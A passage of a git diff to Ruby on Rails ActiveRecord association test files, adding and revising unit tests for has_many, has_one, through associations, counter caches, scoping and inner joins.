-  def test_calling_first_or_last_on_existing_record_with_create_should_not_load_association
+  def test_calling_first_nth_or_last_on_existing_record_with_create_should_not_load_association
     firm = companies(:first_firm)
     firm.clients.create(:name => 'Foo')
     assert !firm.clients.loaded?
 
-    assert_queries 2 do
+    assert_queries 3 do
       firm.clients.first
+      firm.clients.second
       firm.clients.last
     end
 
     assert !firm.clients.loaded?
   end
 
-  def test_calling_first_or_last_on_new_record_should_not_run_queries
+  def test_calling_first_nth_or_last_on_new_record_should_not_run_queries
     firm = Firm.new
 
     assert_no_queries do
       firm.clients.first
+      firm.clients.second
       firm.clients.last
     end
   end
 
-  def test_custom_primary_key_on_new_record_should_fetch_with_query
-    author = Author.new(:name => "David")
-    assert !author.essays.loaded?
-
-    assert_queries 1 do
-      assert_equal 1, author.essays.size
-    end
-
-    assert_equal author.essays, Essay.where(writer_id: "David")
-  end
-
-  def test_has_many_custom_primary_key
-    david = authors(:david)
-    assert_equal david.essays, Essay.where(writer_id: "David")
-  end
-
-  def test_has_many_assignment_with_custom_primary_key
-    david = people(:david)
-
-    assert_equal ["A Modest Proposal"], david.essays.map(&:name)
-    david.essays = [Essay.create!(name: "Remote Work" )]
-    assert_equal ["Remote Work"], david.essays.map(&:name)
-  end
-
-  def test_blank_custom_primary_key_on_new_record_should_not_run_queries
-    author = Author.new
-    assert !author.essays.loaded?
-
-    assert_queries 0 do
-      assert_equal 0, author.essays.size
-    end
-  end
-
-  def test_calling_first_or_last_with_integer_on_association_should_load_association
+  def test_calling_first_or_last_with_integer_on_association_should_not_load_association
     firm = companies(:first_firm)
+    firm.clients.create(:name => 'Foo')
+    assert !firm.clients.loaded?
 
-    assert_queries 1 do
+    assert_queries 2 do
       firm.clients.first(2)
       firm.clients.last(2)
     end
 
-    assert firm.clients.loaded?
+    assert !firm.clients.loaded?
   end
 
   def test_calling_many_should_count_instead_of_loading_association
@@ -1443,7 +1675,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_calling_many_should_return_true_if_more_than_one
     firm = companies(:first_firm)
     assert firm.clients.many?
-    assert_equal 2, firm.clients.size
+    assert_equal 3, firm.clients.size
   end
 
   def test_joins_with_namespaced_model_should_use_correct_type
@@ -1567,6 +1799,15 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal [tagging], post.taggings
   end
 
+  def test_with_polymorphic_has_many_with_custom_columns_name
+    post = Post.create! :title => 'foo', :body => 'bar'
+    image = Image.create!
+
+    post.images << image
+
+    assert_equal [image], post.images
+  end
+
   def test_build_with_polymorphic_has_many_does_not_allow_to_override_type_and_id
     welcome = posts(:welcome)
     tagging = welcome.taggings.build(:taggable_id => 99, :taggable_type => 'ShouldNotChange')
@@ -1590,6 +1831,22 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal car.id, bulb.attributes_after_initialize['car_id']
   end
 
+  def test_attributes_are_set_when_initialized_from_has_many_null_relationship
+    car  = Car.new name: 'honda'
+    bulb = car.bulbs.where(name: 'headlight').first_or_initialize
+    assert_equal 'headlight', bulb.name
+  end
+
+  def test_attributes_are_set_when_initialized_from_polymorphic_has_many_null_relationship
+    post    = Post.new title: 'title', body: 'bar'
+    tag     = Tag.create!(name: 'foo')
+
+    tagging = post.taggings.where(tag: tag).first_or_initialize
+
+    assert_equal tag.id, tagging.tag_id
+    assert_equal 'Post', tagging.taggable_type
+  end
+
   def test_replace
     car = Car.create(:name => 'honda')
     bulb1 = car.bulbs.create
@@ -1647,7 +1904,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   test "has many associations on new records use null relations" do
     post = Post.new
 
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       assert_equal [], post.comments
       assert_equal [], post.comments.where(body: 'omg')
       assert_equal [], post.comments.pluck(:body)
@@ -1696,4 +1953,146 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 1, speedometer.minivans.to_a.size, "Only one association should be present:\n#{speedometer.minivans.to_a}"
     assert_equal 1, speedometer.reload.minivans.to_a.size
   end
+
+  test "can unscope the default scope of the associated model" do
+    car = Car.create!
+    bulb1 = Bulb.create! name: "defaulty", car: car
+    bulb2 = Bulb.create! name: "other",    car: car
+
+    assert_equal [bulb1], car.bulbs
+    assert_equal [bulb1, bulb2], car.all_bulbs.sort_by(&:id)
+  end
+
+  test 'unscopes the default scope of associated model when used with include' do
+    car = Car.create!
+    bulb = Bulb.create! name: "other", car: car
+
+    assert_equal bulb, Car.find(car.id).all_bulbs.first
+    assert_equal bulb, Car.includes(:all_bulbs).find(car.id).all_bulbs.first
+  end
+
+  test "raises RecordNotDestroyed when replaced child can't be destroyed" do
+    car = Car.create!
+    original_child = FailedBulb.create!(car: car)
+
+    assert_raise(ActiveRecord::RecordNotDestroyed) do
+      car.failed_bulbs = [FailedBulb.create!]
+    end
+
+    assert_equal [original_child], car.reload.failed_bulbs
+  end
+
+  test 'updates counter cache when default scope is given' do
+    topic = DefaultRejectedTopic.create approved: true
+
+    assert_difference "topic.reload.replies_count", 1 do
+      topic.approved_replies.create!
+    end
+  end
+
+  test 'dangerous association name raises ArgumentError' do
+    [:errors, 'errors', :save, 'save'].each do |name|
+      assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+        Class.new(ActiveRecord::Base) do
+          has_many name
+        end
+      end
+    end
+  end
+
+  test 'passes custom context validation to validate children' do
+    pirate = FamousPirate.new
+    pirate.famous_ships << ship = FamousShip.new
+
+    assert pirate.valid?
+    assert_not pirate.valid?(:conference)
+    assert_equal "can't be blank", ship.errors[:name].first
+  end
+
+  test 'association with instance dependent scope' do
+    bob = authors(:bob)
+    Post.create!(title: "signed post by bob", body: "stuff", author: authors(:bob))
+    Post.create!(title: "anonymous post", body: "more stuff", author: authors(:bob))
+    assert_equal ["misc post by bob", "other post by bob",
+                  "signed post by bob"], bob.posts_with_signature.map(&:title).sort
+
+    assert_equal [], authors(:david).posts_with_signature.map(&:title)
+  end
+
+  test 'associations autosaves when object is already persited' do
+    bulb = Bulb.create!
+    tyre = Tyre.create!
+
+    car = Car.create! do |c|
+      c.bulbs << bulb
+      c.tyres << tyre
+    end
+
+    assert_equal 1, car.bulbs.count
+    assert_equal 1, car.tyres.count
+  end
+
+  test 'associations replace in memory when records have the same id' do
+    bulb = Bulb.create!
+    car = Car.create!(bulbs: [bulb])
+
+    new_bulb = Bulb.find(bulb.id)
+    new_bulb.name = "foo"
+    car.bulbs = [new_bulb]
+
+    assert_equal "foo", car.bulbs.first.name
+  end
+
+  test 'in memory replacement executes no queries' do
+    bulb = Bulb.create!
+    car = Car.create!(bulbs: [bulb])
+
+    new_bulb = Bulb.find(bulb.id)
+
+    assert_no_queries do
+      car.bulbs = [new_bulb]
+    end
+  end
+
+  test 'in memory replacements do not execute callbacks' do
+    raise_after_add = false
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = :cars
+      has_many :bulbs, after_add: proc { raise if raise_after_add }
+
+      def self.name
+        "Car"
+      end
+    end
+    bulb = Bulb.create!
+    car = klass.create!(bulbs: [bulb])
+
+    new_bulb = Bulb.find(bulb.id)
+    raise_after_add = true
+
+    assert_nothing_raised do
+      car.bulbs = [new_bulb]
+    end
+  end
+
+  test 'in memory replacements sets inverse instance' do
+    bulb = Bulb.create!
+    car = Car.create!(bulbs: [bulb])
+
+    new_bulb = Bulb.find(bulb.id)
+    car.bulbs = [new_bulb]
+
+    assert_same car, new_bulb.car
+  end
+
+  test 'in memory replacement maintains order' do
+    first_bulb = Bulb.create!
+    second_bulb = Bulb.create!
+    car = Car.create!(bulbs: [first_bulb, second_bulb])
+
+    same_bulb = Bulb.find(first_bulb.id)
+    car.bulbs = [second_bulb, same_bulb]
+
+    assert_equal [first_bulb, second_bulb], car.bulbs
+  end
 end
diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb
index c00cae5750..6729a5a9fc 100644
--- a/activerecord/test/cases/associations/has_many_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb
@@ -15,6 +15,7 @@ require 'models/toy'
 require 'models/contract'
 require 'models/company'
 require 'models/developer'
+require 'models/computer'
 require 'models/subscriber'
 require 'models/book'
 require 'models/subscription'
@@ -24,12 +25,13 @@ require 'models/categorization'
 require 'models/member'
 require 'models/membership'
 require 'models/club'
+require 'models/organization'
 
 class HasManyThroughAssociationsTest < ActiveRecord::TestCase
   fixtures :posts, :readers, :people, :comments, :authors, :categories, :taggings, :tags,
            :owners, :pets, :toys, :jobs, :references, :companies, :members, :author_addresses,
            :subscribers, :books, :subscriptions, :developers, :categorizations, :essays,
-           :categories_posts
+           :categories_posts, :clubs, :memberships, :organizations
 
   # Dummies to force column loads so query counts are clean.
   def setup
@@ -37,6 +39,128 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     Reader.create :person_id => 0, :post_id => 0
   end
 
+  def test_preload_sti_rhs_class
+    developers = Developer.includes(:firms).all.to_a
+    assert_no_queries do
+      developers.each(&:firms)
+    end
+  end
+
+  def test_preload_sti_middle_relation
+    club = Club.create!(name: 'Aaron cool banana club')
+    member1 = Member.create!(name: 'Aaron')
+    member2 = Member.create!(name: 'Cat')
+
+    SuperMembership.create! club: club, member: member1
+    CurrentMembership.create! club: club, member: member2
+
+    club1 = Club.includes(:members).find_by_id club.id
+    assert_equal [member1, member2].sort_by(&:id),
+                 club1.members.sort_by(&:id)
+  end
+
+  def make_model(name)
+    Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
+  end
+
+  def test_ordered_habtm
+    person_prime = Class.new(ActiveRecord::Base) do
+      def self.name; 'Person'; end
+
+      has_many :readers
+      has_many :posts, -> { order('posts.id DESC') }, :through => :readers
+    end
+    posts = person_prime.includes(:posts).first.posts
+
+    assert_operator posts.length, :>, 1
+    posts.each_cons(2) do |left,right|
+      assert_operator left.id, :>, right.id
+    end
+  end
+
+  def test_singleton_has_many_through
+    book         = make_model "Book"
+    subscription = make_model "Subscription"
+    subscriber   = make_model "Subscriber"
+
+    subscriber.primary_key = 'nick'
+    subscription.belongs_to :book,       class: book
+    subscription.belongs_to :subscriber, class: subscriber
+
+    book.has_many :subscriptions, class: subscription
+    book.has_many :subscribers, through: :subscriptions, class: subscriber
+
+    anonbook = book.first
+    namebook = Book.find anonbook.id
+
+    assert_operator anonbook.subscribers.count, :>, 0
+    anonbook.subscribers.each do |s|
+      assert_instance_of subscriber, s
+    end
+    assert_equal namebook.subscribers.map(&:id).sort,
+                 anonbook.subscribers.map(&:id).sort
+  end
+
+  def test_no_pk_join_table_append
+    lesson, _, student = make_no_pk_hm_t
+
+    sicp = lesson.new(:name => "SICP")
+    ben = student.new(:name => "Ben Bitdiddle")
+    sicp.students << ben
+    assert sicp.save!
+  end
+
+  def test_no_pk_join_table_delete
+    lesson, lesson_student, student = make_no_pk_hm_t
+
+    sicp = lesson.new(:name => "SICP")
+    ben = student.new(:name => "Ben Bitdiddle")
+    louis = student.new(:name => "Louis Reasoner")
+    sicp.students << ben
+    sicp.students << louis
+    assert sicp.save!
+
+    sicp.students.reload
+    assert_operator lesson_student.count, :>=, 2
+    assert_no_difference('student.count') do
+      assert_difference('lesson_student.count', -2) do
+        sicp.students.destroy(*student.all.to_a)
+      end
+    end
+  end
+
+  def test_no_pk_join_model_callbacks
+    lesson, lesson_student, student = make_no_pk_hm_t
+
+    after_destroy_called = false
+    lesson_student.after_destroy do
+      after_destroy_called = true
+    end
+
+    sicp = lesson.new(:name => "SICP")
+    ben = student.new(:name => "Ben Bitdiddle")
+    sicp.students << ben
+    assert sicp.save!
+
+    sicp.students.reload
+    sicp.students.destroy(*student.all.to_a)
+    assert after_destroy_called, "after destroy should be called"
+  end
+
+  def make_no_pk_hm_t
+    lesson = make_model 'Lesson'
+    student = make_model 'Student'
+
+    lesson_student = make_model 'LessonStudent'
+    lesson_student.table_name = 'lessons_students'
+
+    lesson_student.belongs_to :lesson, :class => lesson
+    lesson_student.belongs_to :student, :class => student
+    lesson.has_many :lesson_students, :class => lesson_student
+    lesson.has_many :students, :through => :lesson_students, :class => student
+    [lesson, lesson_student, student]
+  end
+
   def test_pk_is_not_required_for_join
     post  = Post.includes(:scategories).first
     post2 = Post.includes(:categories).first
@@ -208,6 +332,19 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert post.single_people.include?(person)
   end
 
+  def test_both_parent_ids_set_when_saving_new
+    post = Post.new(title: 'Hello', body: 'world')
+    person = Person.new(first_name: 'Sean')
+
+    post.people = [person]
+    post.save
+
+    assert post.id
+    assert person.id
+    assert_equal post.id, post.readers.first.post_id
+    assert_equal person.id, post.readers.first.person_id
+  end
+
   def test_delete_association
     assert_queries(2){posts(:welcome);people(:michael); }
 
@@ -354,7 +491,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     post = posts(:welcome)
     tag  = post.tags.create!(:name => 'doomed')
 
-    assert_difference ['post.reload.taggings_count', 'post.reload.tags_count'], -1 do
+    assert_difference ['post.reload.tags_count'], -1 do
       posts(:welcome).tags.delete(tag)
     end
   end
@@ -364,7 +501,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     tag  = post.tags.create!(:name => 'doomed')
     post.update_columns(tags_with_destroy_count: post.tags.count)
 
-    assert_difference ['post.reload.taggings_count', 'post.reload.tags_with_destroy_count'], -1 do
+    assert_difference ['post.reload.tags_with_destroy_count'], -1 do
       posts(:welcome).tags_with_destroy.delete(tag)
     end
   end
@@ -374,7 +511,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     tag  = post.tags.create!(:name => 'doomed')
     post.update_columns(tags_with_nullify_count: post.tags.count)
 
-    assert_no_difference 'post.reload.taggings_count' do
+    assert_no_difference 'post.reload.tags_count' do
       assert_difference 'post.reload.tags_with_nullify_count', -1 do
         posts(:welcome).tags_with_nullify.delete(tag)
       end
@@ -389,7 +526,16 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     tag.tagged_posts = []
     post.reload
 
-    assert_equal(post.taggings.count, post.taggings_count)
+    assert_equal(post.taggings.count, post.tags_count)
+  end
+
+  def test_update_counter_caches_on_destroy
+    post = posts(:welcome)
+    tag  = post.tags.create!(name: 'doomed')
+
+    assert_difference 'post.reload.tags_count', -1 do
+      tag.tagged_posts.destroy(post)
+    end
   end
 
   def test_replace_association
@@ -470,8 +616,11 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
   def test_create_on_new_record
     p = Post.new
 
-    assert_raises(ActiveRecord::RecordNotSaved) { p.people.create(:first_name => "mew") }
-    assert_raises(ActiveRecord::RecordNotSaved) { p.people.create!(:first_name => "snow") }
+    error = assert_raises(ActiveRecord::RecordNotSaved) { p.people.create(:first_name => "mew") }
+    assert_equal "You cannot call create unless the parent is saved", error.message
+
+    error = assert_raises(ActiveRecord::RecordNotSaved) { p.people.create!(:first_name => "snow") }
+    assert_equal "You cannot call create unless the parent is saved", error.message
   end
 
   def test_associate_with_create_and_invalid_options
@@ -567,9 +716,6 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
       [:added, :before, "Roger"],
       [:added, :after, "Roger"]
     ], log.last(4)
-
-    post.people_with_callbacks.clear
-    assert_equal((%w(Michael David Julian Roger) * 2).sort, log.last(8).collect(&:last).sort)
   end
 
   def test_dynamic_find_should_respect_association_include
@@ -663,7 +809,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     sarah = Person.create!(:first_name => 'Sarah', :primary_contact_id => people(:susan).id, :gender => 'F', :number1_fan_id => 1)
     john = Person.create!(:first_name => 'John', :primary_contact_id => sarah.id, :gender => 'M', :number1_fan_id => 1)
     assert_equal sarah.agents, [john]
-    assert_equal people(:susan).agents.map(&:agents).flatten, people(:susan).agents_of_agents
+    assert_equal people(:susan).agents.flat_map(&:agents), people(:susan).agents_of_agents
   end
 
   def test_associate_existing_with_nonstandard_primary_key_on_belongs_to
@@ -686,6 +832,13 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert author.named_categories(true).include?(category)
   end
 
+  def test_collection_exists
+    author   = authors(:mary)
+    category = Category.create!(author_ids: [author.id], name: "Primary")
+    assert category.authors.exists?(id: author.id)
+    assert category.reload.authors.exists?(id: author.id)
+  end
+
   def test_collection_delete_with_nonstandard_primary_key_on_belongs_to
     author   = authors(:mary)
     category = author.named_categories.create(:name => "Primary")
@@ -944,10 +1097,10 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert_equal ["parrot", "bulbul"], owner.toys.map { |r| r.pet.name }
   end
 
-  test "has many through associations on new records use null relations" do
+  def test_has_many_through_associations_on_new_records_use_null_relations
     person = Person.new
 
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       assert_equal [], person.posts
       assert_equal [], person.posts.where(body: 'omg')
       assert_equal [], person.posts.pluck(:body)
@@ -956,11 +1109,55 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     end
   end
 
-  test "has many through with default scope on the target" do
+  def test_has_many_through_with_default_scope_on_the_target
     person = people(:michael)
     assert_equal [posts(:thinking)], person.first_posts
 
     readers(:michael_authorless).update(first_post_id: 1)
     assert_equal [posts(:thinking)], person.reload.first_posts
   end
+
+  def test_has_many_through_with_includes_in_through_association_scope
+    assert_not_empty posts(:welcome).author_address_extra_with_address
+  end
+
+  def test_insert_records_via_has_many_through_association_with_scope
+    club = Club.create!
+    member = Member.create!
+    Membership.create!(club: club, member: member)
+
+    club.favourites << member
+    assert_equal [member], club.favourites
+
+    club.reload
+    assert_equal [member], club.favourites
+  end
+
+  def test_has_many_through_unscope_default_scope
+    post = Post.create!(:title => 'Beaches', :body => "I like beaches!")
+    Reader.create! :person => people(:david), :post => post
+    LazyReader.create! :person => people(:susan), :post => post
+
+    assert_equal 2, post.people.to_a.size
+    assert_equal 1, post.lazy_people.to_a.size
+
+    assert_equal 2, post.lazy_readers_unscope_skimmers.to_a.size
+    assert_equal 2, post.lazy_people_unscope_skimmers.to_a.size
+  end
+
+  def test_has_many_through_add_with_sti_middle_relation
+    club = SuperClub.create!(name: 'Fight Club')
+    member = Member.create!(name: 'Tyler Durden')
+
+    club.members << member
+    assert_equal 1, SuperMembership.where(member_id: member.id, club_id: club.id).count
+  end
+
+  def test_build_for_has_many_through_association
+    organization = organizations(:nsa)
+    author = organization.author
+    post_direct = author.posts.build
+    post_through = organization.posts.build
+    assert_equal post_direct.author_id, post_through.author_id
+  end
 end
diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb
index 4fdf9a9643..3b6a4038cd 100644
--- a/activerecord/test/cases/associations/has_one_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_associations_test.rb
@@ -1,5 +1,6 @@
 require "cases/helper"
 require 'models/developer'
+require 'models/computer'
 require 'models/project'
 require 'models/company'
 require 'models/ship'
@@ -7,6 +8,7 @@ require 'models/pirate'
 require 'models/car'
 require 'models/bulb'
 require 'models/author'
+require 'models/image'
 require 'models/post'
 
 class HasOneAssociationsTest < ActiveRecord::TestCase
@@ -22,6 +24,13 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     assert_equal Account.find(1).credit_limit, companies(:first_firm).account.credit_limit
   end
 
+  def test_has_one_does_not_use_order_by
+    ActiveRecord::SQLCounter.clear_log
+    companies(:first_firm).account
+  ensure
+    assert ActiveRecord::SQLCounter.log_all.all? { |sql| /order by/i !~ sql }, 'ORDER BY was used in the query'
+  end
+
   def test_has_one_cache_nils
     firm = companies(:another_firm)
     assert_queries(1) { assert_nil firm.account }
@@ -193,7 +202,7 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_build_association_dont_create_transaction
-    assert_no_queries {
+    assert_no_queries(ignore_none: false) {
       Firm.new.build_account
     }
   end
@@ -228,16 +237,16 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
 
   def test_build_and_create_should_not_happen_within_scope
     pirate = pirates(:blackbeard)
-    scoped_count = pirate.association(:foo_bulb).scope.where_values.count
+    scope = pirate.association(:foo_bulb).scope.where_values_hash
 
     bulb = pirate.build_foo_bulb
-    assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
+    assert_not_equal scope, bulb.scope_after_initialize.where_values_hash
 
     bulb = pirate.create_foo_bulb
-    assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
+    assert_not_equal scope, bulb.scope_after_initialize.where_values_hash
 
     bulb = pirate.create_foo_bulb!
-    assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
+    assert_not_equal scope, bulb.scope_after_initialize.where_values_hash
   end
 
   def test_create_association
@@ -264,6 +273,14 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     assert_equal account, firm.reload.account
   end
 
+  def test_create_with_inexistent_foreign_key_failing
+    firm = Firm.create(name: 'GlobalMegaCorp')
+
+    assert_raises(ActiveModel::AttributeAssignment::UnknownAttributeError) do
+      firm.create_account_with_inexistent_foreign_key
+    end
+  end
+
   def test_build
     firm = Firm.new("name" => "GlobalMegaCorp")
     firm.save
@@ -402,9 +419,11 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     pirate = pirates(:redbeard)
     new_ship = Ship.new
 
-    assert_raise(ActiveRecord::RecordNotSaved) do
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
       pirate.ship = new_ship
     end
+
+    assert_equal "Failed to save the new associated ship.", error.message
     assert_nil pirate.ship
     assert_nil new_ship.pirate_id
   end
@@ -414,20 +433,25 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     pirate.ship.name = nil
 
     assert !pirate.ship.valid?
-    assert_raise(ActiveRecord::RecordNotSaved) do
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
       pirate.ship = ships(:interceptor)
     end
+
     assert_equal ships(:black_pearl), pirate.ship
     assert_equal pirate.id, pirate.ship.pirate_id
+    assert_equal "Failed to remove the existing associated ship. " +
+                 "The record failed to save after its foreign key was set to nil.", error.message
   end
 
   def test_replacement_failure_due_to_new_record_should_raise_error
     pirate = pirates(:blackbeard)
     new_ship = Ship.new
 
-    assert_raise(ActiveRecord::RecordNotSaved) do
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
       pirate.ship = new_ship
     end
+
+    assert_equal "Failed to save the new associated ship.", error.message
     assert_equal ships(:black_pearl), pirate.ship
     assert_equal pirate.id, pirate.ship.pirate_id
     assert_equal pirate.id, ships(:black_pearl).reload.pirate_id
@@ -505,21 +529,82 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     assert_no_queries { company.account = nil }
     account = Account.find(2)
     assert_queries { company.account = account }
+
+    assert_no_queries { Firm.new.account = account }
   end
 
-  def test_has_one_assignment_triggers_save_on_change
+  def test_has_one_assignment_dont_trigger_save_on_change_of_same_object
     pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
     ship = pirate.build_ship(name: 'old name')
     ship.save!
 
     ship.name = 'new name'
     assert ship.changed?
+    assert_queries(1) do
+      # One query for updating name, not triggering query for updating pirate_id
+      pirate.ship = ship
+    end
+
+    assert_equal 'new name', pirate.ship.reload.name
+  end
+
+  def test_has_one_assignment_triggers_save_on_change_on_replacing_object
+    pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    ship = pirate.build_ship(name: 'old name')
+    ship.save!
+
+    new_ship = Ship.create(name: 'new name')
     assert_queries(2) do
       # One query for updating name and second query for updating pirate_id
-      pirate.ship = ship
+      pirate.ship = new_ship
     end
 
     assert_equal 'new name', pirate.ship.reload.name
   end
 
+  def test_has_one_autosave_with_primary_key_manually_set
+    post = Post.create(id: 1234, title: "Some title", body: 'Some content')
+    author = Author.new(id: 33, name: 'Hank Moody')
+
+    author.post = post
+    author.save
+    author.reload
+
+    assert_not_nil author.post
+    assert_equal author.post, post
+  end
+
+  def test_has_one_loading_for_new_record
+    post = Post.create!(author_id: 42, title: 'foo', body: 'bar')
+    author = Author.new(id: 42)
+    assert_equal post, author.post
+  end
+
+  def test_has_one_relationship_cannot_have_a_counter_cache
+    assert_raise(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        has_one :thing, counter_cache: true
+      end
+    end
+  end
+
+  def test_with_polymorphic_has_one_with_custom_columns_name
+    post = Post.create! :title => 'foo', :body => 'bar'
+    image = Image.create!
+
+    post.main_image = image
+    post.reload
+
+    assert_equal image, post.main_image
+  end
+
+  test 'dangerous association name raises ArgumentError' do
+    [:errors, 'errors', :save, 'save'].each do |name|
+      assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+        Class.new(ActiveRecord::Base) do
+          has_one name
+        end
+      end
+    end
+  end
 end
diff --git a/activerecord/test/cases/associations/has_one_through_associations_test.rb b/activerecord/test/cases/associations/has_one_through_associations_test.rb
index f2723f2e18..f8772547a2 100644
--- a/activerecord/test/cases/associations/has_one_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_through_associations_test.rb
@@ -15,6 +15,7 @@ require 'models/essay'
 require 'models/owner'
 require 'models/post'
 require 'models/comment'
+require 'models/categorization'
 
 class HasOneThroughAssociationsTest < ActiveRecord::TestCase
   fixtures :member_types, :members, :clubs, :memberships, :sponsors, :organizations, :minivans,
@@ -45,6 +46,20 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
     assert_equal clubs(:moustache_club), new_member.club
   end
 
+  def test_creating_association_sets_both_parent_ids_for_new
+    member = Member.new(name: 'Sean Griffin')
+    club = Club.new(name: 'Da Club')
+
+    member.club = club
+
+    member.save!
+
+    assert member.id
+    assert club.id
+    assert_equal member.id, member.current_membership.member_id
+    assert_equal club.id, member.current_membership.club_id
+  end
+
   def test_replace_target_record
     new_club = Club.create(:name => "Marx Bros")
     @member.club = new_club
@@ -275,6 +290,12 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
     end
   end
 
+  def test_has_one_through_polymorphic_association
+    assert_raise(ActiveRecord::HasOneAssociationPolymorphicThroughError) do
+      @member.premium_club
+    end
+  end
+
   def test_has_one_through_belongs_to_should_update_when_the_through_foreign_key_changes
     minivan = minivans(:cool_first)
 
@@ -315,4 +336,12 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
   def test_has_one_through_with_custom_select_on_join_model_default_scope
     assert_equal clubs(:boring_club), members(:groucho).selected_club
   end
+
+  def test_has_one_through_relationship_cannot_have_a_counter_cache
+    assert_raise(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        has_one :thing, through: :other_thing, counter_cache: true
+      end
+    end
+  end
 end
diff --git a/activerecord/test/cases/associations/inner_join_association_test.rb b/activerecord/test/cases/associations/inner_join_association_test.rb
index de47a576c6..b3fe759ad9 100644
--- a/activerecord/test/cases/associations/inner_join_association_test.rb
+++ b/activerecord/test/cases/associations/inner_join_association_test.rb
@@ -41,6 +41,11 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
     assert_no_match(/WHERE/i, sql)
   end
 
+  def test_join_association_conditions_support_string_and_arel_expressions
+    assert_equal 0, Author.joins(:welcome_posts_with_one_comment).count
+    assert_equal 1, Author.joins(:welcome_posts_with_comments).count
+  end
+
   def test_join_conditions_allow_nil_associations
     authors = Author.includes(:essays).where(:essays => {:id => nil})
     assert_equal 2, authors.count
@@ -49,7 +54,7 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
   def test_find_with_implicit_inner_joins_without_select_does_not_imply_readonly
     authors = Author.joins(:posts)
     assert_not authors.empty?, "expected authors to be non-empty"
-    assert authors.none? {|a| a.readonly? }, "expected no authors to be readonly"
+    assert authors.none?(&:readonly?), "expected no authors to be readonly"
   end
 
   def test_find_with_implicit_inner_joins_honors_readonly_with_select
@@ -65,7 +70,7 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
   end
 
   def test_find_with_implicit_inner_joins_does_not_set_associations
-    authors = Author.joins(:posts).select('authors.*')
+    authors = Author.joins(:posts).select('authors.*').to_a
     assert !authors.empty?, "expected authors to be non-empty"
     assert authors.all? { |a| !a.instance_variable_defined?(:@posts) }, "expected no authors to have the @posts association loaded"
   end
@@ -97,7 +102,7 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
 
   def test_find_with_conditions_on_reflection
     assert !posts(:welcome).comments.empty?
-    assert Post.joins(:nonexistant_comments).where(:id => posts(:welcome).id).empty? # [sic!]
+    assert Post.joins(:nonexistent_comments).where(:id => posts(:welcome).id).empty? # [sic!]
   end
 
   def test_find_with_conditions_on_through_reflection
@@ -112,4 +117,23 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
 
     assert_equal [author], Author.where(id: author).joins(:special_categorizations)
   end
+
+  test "the default scope of the target is correctly aliased when joining associations" do
+    author = Author.create! name: "Jon"
+    author.categories.create! name: 'Not Special'
+    author.special_categories.create! name: 'Special'
+
+    categories = author.categories.includes(:special_categorizations).references(:special_categorizations).to_a
+    assert_equal 2, categories.size
+  end
+
+  test "the correct records are loaded when including an aliased association" do
+    author = Author.create! name: "Jon"
+    author.categories.create! name: 'Not Special'
+    author.special_categories.create! name: 'Special'
+
+    categories = author.categories.eager_load(:special_categorizations).order(:name).to_a
+    assert_equal 0, categories.first.special_categorizations.size
+    assert_equal 1, categories.second.special_categorizations.size
+  end
 end
diff --git a/activerecord/test/cases/associations/inverse_associations_test.rb b/activerecord/test/cases/associations/inverse_associations_test.rb
index 2477e60e51..423b8238b1 100644
--- a/activerecord/test/cases/associations/inverse_associations_test.rb
+++ b/activerecord/test/cases/associations/inverse_associations_test.rb
@@ -10,6 +10,9 @@ require 'models/comment'
 require 'models/car'
 require 'models/bulb'
 require 'models/mixed_case_monkey'
+require 'models/admin'
+require 'models/admin/account'
+require 'models/admin/user'
 
